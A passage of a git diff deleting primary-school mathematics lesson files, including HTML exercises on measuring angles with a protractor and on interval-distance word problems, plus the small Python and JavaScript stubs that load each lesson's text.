- In human being life,a protractor is an instrument used to measure angles between two or more lines joined together,angles of different figures as for examples square,rectangles,etc..It can also used to measure the angles with small degree.
- <br />
- <br />
- <br />
- (here are some graphs of perpendicular lines,square,rectangle,etc....).
- <br />
- <br />
- <br />
- when you want to use protractor in measuring angles you start from zero up to three hundred sixty degrees.You have to remember that in measuring angles we use degree as
- <span style="color: #0000ff;">
-  unit .
-  <br />
-  <br />
-  <span style="font-weight: bold; text-decoration: underline;">
-   STRUCTURE OF PROTRACTOR
-   <br />
-  </span>
-  <span style="color: #000000;">
-   There are two kinds of protractor:
-   <br />
-  </span>
- </span>
-</p>
-<ul>
- <li>
-  The inner scale
-  <span style="color: #0000ff;">
-   <span style="color: #000000;">
-    and
-    <br />
-   </span>
-  </span>
- </li>
- <li>
-  <span style="color: #0000ff;">
-   <span style="color: #000000;">
-    The outer scale.
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="color: #0000ff;">
-  <span style="color: #000000;">
-   The inner scale is read from right to left while the outer scale is read from left to right.when measuring the reflex angles,first you measure the obtuse angle and then subtract it from three hundred sixty degrees to get the reflect angle.
-   <br />
-   <br />
-   (pictures of protractor showing the inner scale and picture of protractor showing the outer scale).
-   <br />
-   <br />
-   The outer scale is used to measure the angles situated on left hand side while the inner scale is used to measure angles situated on the right hand scale.
-   <br />
-   <br />
-   <span style="color: #0000ff; text-decoration: underline;">
-    Note
-   </span>
-   :When measuring angles,we start from zero degree.Therefore the zero on the protractor helps you to decide which scale to use.
-  </span>
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a02/a.txt b/Save_Mathematics/P5/map511m17/map511m17a02/a.txt
deleted file mode 100644
index 006c8ef..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a02/a.txt
+++ /dev/null
@@ -1,38 +0,0 @@
-<p class="MsoNormal" style="line-height: 150%;">
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided Pratice
-</p>
-<p class="MsoNormal" style="line-height: 150%;">
- Study the protractor in the diagrams below to record the size of the angle marked ABC in each case.
-</p>
-<p class="MsoNormal" style="line-height: 150%;">
- &nbsp;
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- <span style="background-color: yellow; background-image: none; background-repeat: repeat; background-attachment: scroll; background-position: 0% 0%;">
-  <span>
-   1)
-   <span>
-   </span>
-  </span>
- </span>
- The measured angle is 75
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- &lt;img src=x.jpg&gt;
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- <span style="background-color: yellow; background-image: none; background-repeat: repeat; background-attachment: scroll; background-position: 0% 0%;">
-  <span>
-   2)
-   <span>
-   </span>
-  </span>
- </span>
- The measured angle is 55
- <sup>
-  o
- </sup>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- &lt;img src=y.jpg&gt;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a02/description.py b/Save_Mathematics/P5/map511m17/map511m17a02/description.py
deleted file mode 100644
index 02c467e..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m17a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m17/map511m17a02/lesson.js b/Save_Mathematics/P5/map511m17/map511m17a02/lesson.js
deleted file mode 100644
index 17bd50f..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m17/map511m17a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m17/map511m17a02/source.txt b/Save_Mathematics/P5/map511m17/map511m17a02/source.txt
deleted file mode 100644
index 006c8ef..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a02/source.txt
+++ /dev/null
@@ -1,38 +0,0 @@
-<p class="MsoNormal" style="line-height: 150%;">
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided Pratice
-</p>
-<p class="MsoNormal" style="line-height: 150%;">
- Study the protractor in the diagrams below to record the size of the angle marked ABC in each case.
-</p>
-<p class="MsoNormal" style="line-height: 150%;">
- &nbsp;
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- <span style="background-color: yellow; background-image: none; background-repeat: repeat; background-attachment: scroll; background-position: 0% 0%;">
-  <span>
-   1)
-   <span>
-   </span>
-  </span>
- </span>
- The measured angle is 75
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- &lt;img src=x.jpg&gt;
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- <span style="background-color: yellow; background-image: none; background-repeat: repeat; background-attachment: scroll; background-position: 0% 0%;">
-  <span>
-   2)
-   <span>
-   </span>
-  </span>
- </span>
- The measured angle is 55
- <sup>
-  o
- </sup>
-</p>
-<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;">
- &lt;img src=y.jpg&gt;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a03/a.txt b/Save_Mathematics/P5/map511m17/map511m17a03/a.txt
deleted file mode 100644
index f82f8d3..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a03/a.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independant&nbsp;&nbsp; Activity
-</p>
-<p>
- 1. Firstly estimate the values these angles by using a protractor.
- <br />
- <br />
- a)&lt;img src=k.jpg&gt;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- b)&lt;img src=j.jpg&gt;
- <br />
- <br />
- <br />
- <br />
- <br />
- c)&lt;img src=n.jpg&gt;
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 2. Study the protractors below to record the size of angles marked A;B and C in each case.
-</p>
-<p>
- &lt;img src=ll.jpg&gt;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &lt;img src=hh.jpg&gt;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a03/description.py b/Save_Mathematics/P5/map511m17/map511m17a03/description.py
deleted file mode 100644
index 1814911..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m17a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m17/map511m17a03/lesson.js b/Save_Mathematics/P5/map511m17/map511m17a03/lesson.js
deleted file mode 100644
index 094d18f..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m17/map511m17a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m17/map511m17a03/source.txt b/Save_Mathematics/P5/map511m17/map511m17a03/source.txt
deleted file mode 100644
index f82f8d3..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a03/source.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independant&nbsp;&nbsp; Activity
-</p>
-<p>
- 1. Firstly estimate the values these angles by using a protractor.
- <br />
- <br />
- a)&lt;img src=k.jpg&gt;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- b)&lt;img src=j.jpg&gt;
- <br />
- <br />
- <br />
- <br />
- <br />
- c)&lt;img src=n.jpg&gt;
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 2. Study the protractors below to record the size of angles marked A;B and C in each case.
-</p>
-<p>
- &lt;img src=ll.jpg&gt;
-</p>
-<p>
- &nbsp;
-</p>
-<p>
- &lt;img src=hh.jpg&gt;
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a04/a.txt b/Save_Mathematics/P5/map511m17/map511m17a04/a.txt
deleted file mode 100644
index 5769f2a..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a04/a.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1. Use a protractor to draw angles whose measures are:
- <br />
- <br />
- a)85
- <sup>
-  o
- </sup>
- <br />
- b)170
- <sup>
-  o
- </sup>
- <br />
- c)130
- <sup>
-  o
- </sup>
- <br />
- d)60
- <sup>
-  o
- </sup>
- <br />
- e)100
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- 2. Measure the following angles and give their types.(There are some images of angles)
- <br />
- <br />
- a) b)
- <br />
- <br />
- <br />
- c)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a04/description.py b/Save_Mathematics/P5/map511m17/map511m17a04/description.py
deleted file mode 100644
index 6be17d5..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m17a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m17/map511m17a04/lesson.js b/Save_Mathematics/P5/map511m17/map511m17a04/lesson.js
deleted file mode 100644
index 05cabad..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m17/map511m17a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m17/map511m17a04/source.txt b/Save_Mathematics/P5/map511m17/map511m17a04/source.txt
deleted file mode 100644
index 5769f2a..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a04/source.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Evaluation
-</p>
-<p>
- 1. Use a protractor to draw angles whose measures are:
- <br />
- <br />
- a)85
- <sup>
-  o
- </sup>
- <br />
- b)170
- <sup>
-  o
- </sup>
- <br />
- c)130
- <sup>
-  o
- </sup>
- <br />
- d)60
- <sup>
-  o
- </sup>
- <br />
- e)100
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- 2. Measure the following angles and give their types.(There are some images of angles)
- <br />
- <br />
- a) b)
- <br />
- <br />
- <br />
- c)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a05/a.txt b/Save_Mathematics/P5/map511m17/map511m17a05/a.txt
deleted file mode 100644
index 64edb33..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a05/a.txt
+++ /dev/null
@@ -1,76 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remadial
-</p>
-<p>
- 1.Use a protractor to measure angles X and Y then find their values in degree.
- <br />
- <br />
- a) b)
- <br />
- <br />
- <br />
- <br />
- c)
- <br />
- <br />
- <br />
- <br />
- 2.Use a protractor to draw angles whose measures are:
- <br />
- <br />
- a)75
- <sup>
-  o
- </sup>
- <br />
- b)55
- <sup>
-  o
-  <br />
- </sup>
- c)65
- <sup>
-  o
- </sup>
- <br />
- d)95
- <sup>
-  o
- </sup>
- <br />
- e)125
- <sup>
-  o
-  <br />
- </sup>
- <br />
- <br />
- <br />
- 3. Draw the following reflex angles below;
- <br />
- <br />
- a)265
- <sup>
-  o
-  <br />
- </sup>
- b)300
- <sup>
-  o
- </sup>
- <br />
- c)350
- <sup>
-  o
- </sup>
- <br />
- d)198
- <sup>
-  o
- </sup>
- <br />
- e)340
- <sup>
-  o
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a05/description.py b/Save_Mathematics/P5/map511m17/map511m17a05/description.py
deleted file mode 100644
index 8b39992..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m17a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m17/map511m17a05/lesson.js b/Save_Mathematics/P5/map511m17/map511m17a05/lesson.js
deleted file mode 100644
index 14559ae..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m17/map511m17a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m17/map511m17a05/source.txt b/Save_Mathematics/P5/map511m17/map511m17a05/source.txt
deleted file mode 100644
index 64edb33..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a05/source.txt
+++ /dev/null
@@ -1,76 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remadial
-</p>
-<p>
- 1.Use a protractor to measure angles X and Y then find their values in degree.
- <br />
- <br />
- a) b)
- <br />
- <br />
- <br />
- <br />
- c)
- <br />
- <br />
- <br />
- <br />
- 2.Use a protractor to draw angles whose measures are:
- <br />
- <br />
- a)75
- <sup>
-  o
- </sup>
- <br />
- b)55
- <sup>
-  o
-  <br />
- </sup>
- c)65
- <sup>
-  o
- </sup>
- <br />
- d)95
- <sup>
-  o
- </sup>
- <br />
- e)125
- <sup>
-  o
-  <br />
- </sup>
- <br />
- <br />
- <br />
- 3. Draw the following reflex angles below;
- <br />
- <br />
- a)265
- <sup>
-  o
-  <br />
- </sup>
- b)300
- <sup>
-  o
- </sup>
- <br />
- c)350
- <sup>
-  o
- </sup>
- <br />
- d)198
- <sup>
-  o
- </sup>
- <br />
- e)340
- <sup>
-  o
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a06/a.txt b/Save_Mathematics/P5/map511m17/map511m17a06/a.txt
deleted file mode 100644
index 56954d4..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a06/a.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1. Use a protractor to measure the following angles;
- <br />
- <br />
- a)&lt;img src=&gt;
- <br />
- <br />
- <br />
- <br />
- b)&lt;img src=&gt;
- <br />
- <br />
- <br />
- <br />
- <br />
- c)&lt;img src=&gt;
- <br />
- <br />
- <br />
- <br />
- 2. Represent the following angles on figures;
- <br />
- <br />
- a)85
- <sup>
-  o
- </sup>
- <br />
- b)75
- <sup>
-  o
- </sup>
- <br />
- c)57
- <sup>
-  o
-  <br />
- </sup>
- d)145
- <sup>
-  o
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m17/map511m17a06/description.py b/Save_Mathematics/P5/map511m17/map511m17a06/description.py
deleted file mode 100644
index be72058..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m17a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m17/map511m17a06/lesson.js b/Save_Mathematics/P5/map511m17/map511m17a06/lesson.js
deleted file mode 100644
index eac077f..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m17/map511m17a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m17/map511m17a06/source.txt b/Save_Mathematics/P5/map511m17/map511m17a06/source.txt
deleted file mode 100644
index 56954d4..0000000
--- a/Save_Mathematics/P5/map511m17/map511m17a06/source.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enrichment
-</p>
-<p>
- 1. Use a protractor to measure the following angles;
- <br />
- <br />
- a)&lt;img src=&gt;
- <br />
- <br />
- <br />
- <br />
- b)&lt;img src=&gt;
- <br />
- <br />
- <br />
- <br />
- <br />
- c)&lt;img src=&gt;
- <br />
- <br />
- <br />
- <br />
- 2. Represent the following angles on figures;
- <br />
- <br />
- a)85
- <sup>
-  o
- </sup>
- <br />
- b)75
- <sup>
-  o
- </sup>
- <br />
- c)57
- <sup>
-  o
-  <br />
- </sup>
- d)145
- <sup>
-  o
- </sup>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/activities.js b/Save_Mathematics/P5/map511m18/activities.js
deleted file mode 100755
index 655ef01..0000000
--- a/Save_Mathematics/P5/map511m18/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m18a01','blue'],
-['2','2','map5','basic','map511m18a02','blue'],
-['3','3','map5','basic','map511m18a03','blue'],
-['4','4','map5','basic','map511m18a04','blue'],
-['5','5','map5','basic','map511m18a05','blue'],
-['6','6','map5','basic','map511m18a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m18/map511m18a01/a.txt b/Save_Mathematics/P5/map511m18/map511m18a01/a.txt
deleted file mode 100644
index 4144fe2..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a01/a.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- The pupils should calculate the length of intervals when the intervals are formed by objects on different lines so as they have already seen the meaning of interval.
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE
- </span>
- :1. Electricity poles are fixed on 30 meters apart.Find the distance from the first to the100thpole.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- :Distance=Ni*Li
- <br />
- <br />
- =(no-1)*30
- <br />
- =(100-1)*30
- <br />
- =99*30
- <br />
- =2970 meters
- <br />
- <br />
- 2.The distance from the first to the last pole on a line is 2970 meters.If the distance between them is 30,how many intervals are there?
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- :Ni=D:Li
- <br />
- =2970 meters:30 meters=99 intervals
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- :a)To find the distance(D) multiply the length of each(Li) by the number of intervals(Ni).
- <br />
- <br />
- b)To find the number of intervals(Ni) divide the distance(D) by the length of interval(Li)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a01/description.py b/Save_Mathematics/P5/map511m18/map511m18a01/description.py
deleted file mode 100644
index d612054..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m18a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m18/map511m18a01/lesson.js b/Save_Mathematics/P5/map511m18/map511m18a01/lesson.js
deleted file mode 100644
index 7867ece..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m18/map511m18a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m18/map511m18a01/source.txt b/Save_Mathematics/P5/map511m18/map511m18a01/source.txt
deleted file mode 100644
index 4144fe2..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a01/source.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Introduction
-</p>
-<p>
- The pupils should calculate the length of intervals when the intervals are formed by objects on different lines so as they have already seen the meaning of interval.
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE
- </span>
- :1. Electricity poles are fixed on 30 meters apart.Find the distance from the first to the100thpole.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- :Distance=Ni*Li
- <br />
- <br />
- =(no-1)*30
- <br />
- =(100-1)*30
- <br />
- =99*30
- <br />
- =2970 meters
- <br />
- <br />
- 2.The distance from the first to the last pole on a line is 2970 meters.If the distance between them is 30,how many intervals are there?
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWER
- </span>
- :Ni=D:Li
- <br />
- =2970 meters:30 meters=99 intervals
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- :a)To find the distance(D) multiply the length of each(Li) by the number of intervals(Ni).
- <br />
- <br />
- b)To find the number of intervals(Ni) divide the distance(D) by the length of interval(Li)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a02/a.txt b/Save_Mathematics/P5/map511m18/map511m18a02/a.txt
deleted file mode 100644
index 49cc8e4..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a02/a.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided Practice
-</p>
-<p>
- 1.Trees are planted on a line of 8000 meters long.If the trees are 20 meters apart,how many spaces are left between the trees?
- <br />
- <br />
- <br />
- 2.Find the perimeter of a circular piece of land fenced with 360 trees each 9meters apart.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- :1)Ni=D:Li
- <br />
- <br />
- NI=8000m:20m=400intervals
- <br />
- <br />
- <br />
- 2) Perimeter=360*9m=3240meters
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a02/description.py b/Save_Mathematics/P5/map511m18/map511m18a02/description.py
deleted file mode 100644
index d61cd71..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m18a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m18/map511m18a02/lesson.js b/Save_Mathematics/P5/map511m18/map511m18a02/lesson.js
deleted file mode 100644
index 3b08000..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m18/map511m18a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m18/map511m18a02/source.txt b/Save_Mathematics/P5/map511m18/map511m18a02/source.txt
deleted file mode 100644
index 49cc8e4..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a02/source.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Guided Practice
-</p>
-<p>
- 1.Trees are planted on a line of 8000 meters long.If the trees are 20 meters apart,how many spaces are left between the trees?
- <br />
- <br />
- <br />
- 2.Find the perimeter of a circular piece of land fenced with 360 trees each 9meters apart.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- :1)Ni=D:Li
- <br />
- <br />
- NI=8000m:20m=400intervals
- <br />
- <br />
- <br />
- 2) Perimeter=360*9m=3240meters
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m18/map511m18a03/a.txt b/Save_Mathematics/P5/map511m18/map511m18a03/a.txt
deleted file mode 100644
index 0c96f02..0000000
--- a/Save_Mathematics/P5/map511m18/map511m18a03/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Independent&nbsp; Practice
-</p>
-<p>
- 1.40pupils joined hands to make a rectangular figure,the space between every two pupils was 20dm.Find the distance in meters round the rectangular made.
- <br />
- <br />
- <br />
- 2)Find the number of intervals each 26cm needed to cover a distance of 2600cm.
- <br />
- <br />
- <br />
- 3)A circular garden has 80 trees surrounding it.If they were planted at an interval of 18meters apart,find the perimeter of the garden.
-</p>
-\ No newline at end of file
